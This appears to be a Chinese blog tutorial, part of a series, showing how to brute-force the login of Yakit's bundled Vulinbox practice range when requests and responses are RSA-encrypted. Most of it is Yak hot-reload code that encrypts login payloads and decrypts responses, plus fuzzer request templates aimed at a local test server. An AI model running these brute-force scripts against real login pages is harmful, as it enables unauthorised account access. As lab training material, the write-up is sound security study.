本文是高级前端加解密与验签实战的第7篇文章,本系列文章实验靶场为Yakit里自带的Vulinbox靶场,本文讲述的是绕过请求包和响应包加密来爆破登录界面。
分析
这里的公私钥同上文一样是通过服务端获取
通过查看响应包可以看到,data字段被加密了,当然这里我已经知道了data字段和origin字段的内容是一样的,下面来看看该如何编写热加载代码吧。
序列+热加载
方法1(固定私钥)
这里跟上文一样选择Web Fuzzer的序列功能。
数据提取器提取公私钥
由于afterRequest
函数无法获取到参数,所以在代码里写死了私钥内容来解密响应包。
热加载代码:
var PRIVATE_KEY = `这里填私钥内容(可换行)` decryptData = (packet) => { body = poc.GetHTTPPacketBody(packet) // 获取响应包体 jsonBody = json.loads(body) // 转为map格式 //解密数据 data = codec.DecodeBase64(json.loads(body).data)~ data = codec.RSADecryptWithOAEP(PRIVATE_KEY/*type: bytes*/, data/*type: any*/)~ data = string(data) // 使用JsonPath定位,替换json中的data body = json.ReplaceAll(jsonBody, "$..data", data) // 转为json格式 body = json.dumps(body, json.withIndent(" ")) // 替换正则匹配结果(可省略) pattern := `\` body = re.ReplaceAll(body, pattern, "") return poc.ReplaceBody(packet, body/*type: bytes*/, false/*type: bool*/) } encryptData = (pemPublic, data) => { data = codec.RSAEncryptWithOAEP(pemPublic /*type: []byte*/, data)~ data = codec.EncodeBase64(data) body = f`{"data":"${data}"}` return body } //分割参数的函数 splitParams = (params) => { pairs := params.SplitN("|", 2) return encryptData(pairs[0], pairs[1]) } // 修改响应包 afterRequest = func(rsp){ return decryptData(rsp) }
请求格式:
POST /crypto/js/rsa/fromserver/response HTTP/1.1 Host: 127.0.0.1:8787 Content-Type: application/json {{yak(splitParams|{{p(publicKey)}}|{"username":"admin","password":"admin23","age":"20"})}}
下图为效果图,响应包的data字段的值被解密后的数据替换。
方法2(使用mirrorHTTPFlow)
在这一关(响应加密)和下一关(RSA加密AES密钥)解密过程中,我一直都在寻找如何才能把数据提取器提取到的privateKey
传参到beforeRequest
和afterRequest
这类函数中,以达到修改数据包的目的。
从前端验签与加解密学习Yakit中WebFuzzer热加载。在这篇文章中学到了可以使用序列,将前两个序列提取到的key和数据,在第三个序列当做请求内容,解密后发送过去,这样也算是一种变相的完成了解密,但是这个方法感觉不太优雅,需要多一个额外的请求包。
这是当时测试的图片:
然后在 Yak Project官方公众号的文章中终于看到了一个函数,mirrorHTTPFlow
可以解决这个问题,虽然不能直接替换响应包,但会出现在提取数据中。由于官方文档没有具体讲解这个函数,所以它的具体功能现在还不太清楚。
热加载代码:
//加密函数 encrypt = (pemPublic, data) => { data = codec.RSAEncryptWithOAEP(pemPublic /*type: []byte*/, data)~ data = codec.EncodeBase64(data) body = f`{"data":"${data}"}` return body } //分割参数的函数 splitParams = (params) => { pairs := params.SplitN("|", 2) return encrypt(pairs[0], pairs[1]) } mirrorHTTPFlow = (req, rsp, params) => { // 获取私钥以解密响应数据 pem = params.privateKey // 切割响应中的数据,作为 JSON 加载 _, body = poc.Split(rsp) body = json.loads(body) // 解密data data = codec.DecodeBase64(body.data)~ data = codec.RSADecryptWithOAEP(pem, data)~ return string(data) }
请求包格式:
POST /crypto/js/rsa/fromserver/response HTTP/1.1 Host: 127.0.0.1:8787 Content-Type: application/json {{yak(splitParams|{{p(publicKey)}}|{"username":"admin","password":"123","age":"20"})}}
效果如下图,可以看到解密后的data出现在了提取内容中。
爆破成功,但是看不到请求的原始密码,由于太累了懒得解决这个问题,啥时候闲了再说吧。